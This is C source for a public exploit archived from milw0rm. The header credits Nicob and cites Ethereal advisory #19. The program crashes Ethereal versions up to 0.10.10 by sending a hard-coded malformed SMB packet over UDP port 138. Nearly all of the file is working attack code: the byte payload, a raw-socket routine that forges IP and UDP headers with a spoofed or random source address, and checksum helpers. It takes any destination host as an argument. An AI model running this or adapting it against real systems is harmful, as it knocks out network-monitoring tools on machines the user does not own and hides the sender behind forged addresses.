/*****************************************************************/ /* */ /* Ethereal <= 0.10.10 dissect_ipc_state() DoS */ /* Tested on 0.9.4 and 0.10.10 */ /* */ /* Bug found by the Ethereal BuildBot */ /* Code ripped from vade79 */ /* Exploit by Nicob <nicob@nicob.net> */ /* */ /* From the Ethereal Security Advisory #19 : */ /* http://www.ethereal.com/appnotes/enpa-sa-00019.html */ /* */ /* "The SMB dissector could cause a segmentation fault and throw */ /* assertions. Versions affected: 0.9.0 to 0.10.10" */ /* */ /*****************************************************************/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <signal.h> #include <time.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #ifdef _USE_ARPA #include <arpa/inet.h> #endif /* doesn't seem to be standardized, so... */ #if defined(__BYTE_ORDER) && !defined(BYTE_ORDER) #define BYTE_ORDER __BYTE_ORDER #endif #if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN) #define BIG_ENDIAN __BIG_ENDIAN #endif #if defined(BYTE_ORDER) && defined(BIG_ENDIAN) #if BYTE_ORDER == BIG_ENDIAN #define _USE_BIG_ENDIAN #endif #endif /* will never need to be changed. */ #define SMB_PORT 138 /* avoid platform-specific header madness. */ /* (just plucked out of header files) */ struct iph{ #ifdef _USE_BIG_ENDIAN unsigned char version:4,ihl:4; #else unsigned char ihl:4,version:4; #endif unsigned char tos; unsigned short tot_len; unsigned short id; unsigned short frag_off; unsigned char ttl; unsigned char protocol; unsigned short check; unsigned int saddr; unsigned int daddr; }; struct udph{ unsigned short source; unsigned short dest; unsigned short len; unsigned short check; }; struct sumh{ unsigned int saddr; unsigned int daddr; unsigned char fill; unsigned char protocol; unsigned short len; }; /* malformed SMB data. (the bug) */ static char payload[]= "\x11\x1a\x69\xb8\x0a\x02\x0f\x3d\x00\x8a\x00" "\xbb\x00\x00\x20\x46\x45\x45\x4a\x45\x43\x46\x46\x46\x43\x45\x50\x45\x4b\x43" "\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x00\x20" "\x45\x44\x45\x43\x46\x45\x46\x46\x46\x44\x45\x42\x43\x41\x43\x41\x43\x41\x43" "\x41\x43\x41\x43\x41\x43\x49\x43\x41\x43\x41\x42\x4e\x00\xff\x53\x4d\x42\x25" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x21\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\xe8\x03\x00\x00\x36\x00\x00\x00\x00\x00\x21\x00\x56\x00\x03\x00\x01" "\x00\x00\x00\x02\x00\x32\x00\x5c\x4d\x41\x49\x4c\x53\x4c\x4f\x54\xb3\x42\x52" "\x4f\x57\x4e\x45\x00\x01\x00\x80\xfc\x0a\x00\x5f\x4e\x49\x43\x4f\x42\x5f\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x07\x90\x01\x00\x0f\x01\x55"; /* prototypes. (and sig_alarm) */ void nbt_nospoof(unsigned int); void nbt_spoof(unsigned int,unsigned int); unsigned short in_cksum(unsigned short *,signed int); unsigned int getip(char *); void printe(char *,signed char); void sig_alarm(){printe("alarm/timeout hit.",1);} /* begin. */ int main(int argc,char **argv) { unsigned char nospoof=0; unsigned int daddr=0,saddr=0; printf("\n[*] Ethereal <= 0.10.10 SMB DoS.\n[*] by Nicob (code ripped from vade79)\n\n"); if(argc<2){ printf("[*] syntax: %s <dst host> [src host(0=random)]\n", argv[0]); printf("[*] syntax: %s <dst host> nospoof\n",argv[0]); exit(1); } if(!(daddr=getip(argv[1]))) printe("invalid destination host/ip.",1); if(argc>2){ if(strstr(argv[2],"nospoof"))nospoof=1; else saddr=getip(argv[2]); } printf("[*] destination\t: %s\n",argv[1]); if(!nospoof) printf("[*] source\t: %s (spoofed)\n",(saddr?argv[2]:"<random>")); else printf("[*] source\t: real IP\n"); printf("[+] sending packet ..."); fflush(stdout); srandom(time(0)); if(nospoof)nbt_nospoof(daddr); else nbt_spoof(daddr,saddr); printf("."); fflush(stdout); printf("\n[*] done.\n\n"); fflush(stdout); exit(0); } /* (non-spoofed) sends a (SMB) udp packet. */ void nbt_nospoof(unsigned int daddr){ signed int sock; struct sockaddr_in sa; sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); sa.sin_family=AF_INET; sa.sin_port=htons(SMB_PORT); sa.sin_addr.s_addr=daddr; if(sendto(sock,payload,sizeof(payload)-1,0,(struct sockaddr *)&sa, sizeof(struct sockaddr))<sizeof(payload)-1) printe("failed to send non-spoofed SMB packet.",1); close(sock); return; } /* (spoofed) generates and sends a (SMB) udp packet. */ void nbt_spoof(unsigned int daddr,unsigned int saddr){ signed int sock=0,on=1; unsigned int psize=0; char *p,*s; struct sockaddr_in sa; struct iph ip; struct udph udp; struct sumh sum; /* create raw (UDP) socket. */ if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_UDP))<0) printe("could not allocate raw socket.",1); /* allow (on some systems) for the user-supplied ip header. */ #ifdef IP_HDRINCL if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on))) printe("could not set IP_HDRINCL socket option.",1); #endif sa.sin_family=AF_INET; sa.sin_port=htons(SMB_PORT); sa.sin_addr.s_addr=daddr; psize=(sizeof(struct iph)+sizeof(struct udph)+sizeof(payload)-1); memset(&ip,0,sizeof(struct iph)); memset(&udp,0,sizeof(struct udph)); /* values not filled = 0, from the memset() above. */ ip.ihl=5; ip.version=4; ip.tot_len=htons(psize); ip.saddr=(saddr?saddr:random()%0xffffffff); ip.daddr=daddr; ip.ttl=(64*(random()%2+1)); ip.protocol=IPPROTO_UDP; ip.frag_off=64; udp.source=htons(SMB_PORT); udp.dest=htons(SMB_PORT); udp.len=htons(sizeof(struct udph)+sizeof(payload)-1); /* needed for (correct) checksums. */ sum.saddr=ip.saddr; sum.daddr=ip.daddr; sum.fill=0; sum.protocol=ip.protocol; sum.len=htons(sizeof(struct udph)+sizeof(payload)-1); /* make sum/calc buffer for the udp checksum. (correct) */ if(!(s=(char *)malloc(sizeof(struct sumh)+sizeof(struct udph) +sizeof(payload)+1))) printe("malloc() failed.",1); memset(s,0,(sizeof(struct sumh)+sizeof(struct udph) +sizeof(payload)+1)); memcpy(s,&sum,sizeof(struct sumh)); memcpy(s+sizeof(struct sumh),&udp,sizeof(struct udph)); memcpy(s+sizeof(struct sumh)+sizeof(struct udph), payload,sizeof(payload)-1); udp.check=in_cksum((unsigned short *)s, sizeof(struct sumh)+sizeof(struct udph)+sizeof(payload)-1); free(s); /* make sum/calc buffer for the ip checksum. (correct) */ if(!(s=(char *)malloc(sizeof(struct iph)+1))) printe("malloc() failed.",1); memset(s,0,(sizeof(struct iph)+1)); memcpy(s,&ip,sizeof(struct iph)); ip.check=in_cksum((unsigned short *)s,sizeof(struct iph)); free(s); /* put the packet together. */ if(!(p=(char *)malloc(psize+1))) printe("malloc() failed.",1); memset(p,0,psize); memcpy(p,&ip,sizeof(struct iph)); memcpy(p+sizeof(struct iph),&udp,sizeof(struct udph)); memcpy(p+(sizeof(struct iph)+sizeof(struct udph)), payload,sizeof(payload)); /* send the malformed SMB packet. */ if(sendto(sock,p,psize,0,(struct sockaddr *)&sa, sizeof(struct sockaddr))<psize) printe("failed to send forged SMB packet.",1); free(p); return; } /* standard method for creating TCP/IP checksums. */ unsigned short in_cksum(unsigned short *addr,signed int len){ unsigned short answer=0; register unsigned short *w=addr; register int nleft=len,sum=0; while(nleft>1){ sum+=*w++; nleft-=2; } if(nleft==1){ *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); } /* gets the ip from a host/ip/numeric. */ unsigned int getip(char *host){ struct hostent *t; unsigned int s=0; if((s=inet_addr(host))){ if((t=gethostbyname(host))) memcpy((char *)&s,(char *)t->h_addr,sizeof(s)); } if(s==-1)s=0; return(s); } /* all-purpose error/exit function. */ void printe(char *err,signed char e){ printf("[!] %s\n",err); if(e)exit(e); return; } // milw0rm.com [2005-05-07]